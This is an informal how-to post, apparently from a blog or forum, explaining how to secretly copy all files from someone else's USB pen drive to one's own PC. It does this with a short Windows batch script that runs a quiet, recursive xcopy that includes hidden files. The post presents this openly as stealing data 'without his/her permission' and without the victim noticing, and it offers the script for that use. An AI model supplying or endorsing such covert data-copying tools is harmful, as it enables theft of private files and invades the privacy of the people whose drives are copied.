Get Data of someone Without his permision

Awesome trick try must want to 
steal someones data from any usb
pen drive?? [Without his/her permission].
(for windows only) believe me u can easily 
copy someone's data into your PC without 
giving any idea to the other person...!!
u may need to create a batch file
for this..!! as u all know we can create 
batch files to execute specific lines of
codes..continue ­ ­sly..!!
so...in order to create that batch file..u
have to first open Notepad or any
text editor u want..!!
in that editor..write the following
lines of batch script..!!
------------CUT HERE------------------
xcopy G: H:\pendrive /h /s /c /q /i
exit
------------CUT HERE------------------
where "G:" is the location of your
USB
pendrive (u can change it
according to your
usb port location)
xcopy is windows command
which is used
to copy data from one location to
other..!!
H:/pendrive is the location where
the data from the pendrive will be 
copied (u can also change the path 
according to you)
i know there are many softwares
available on internet for this purpose but
its the simplest way to create such a data
stealing stuff..!!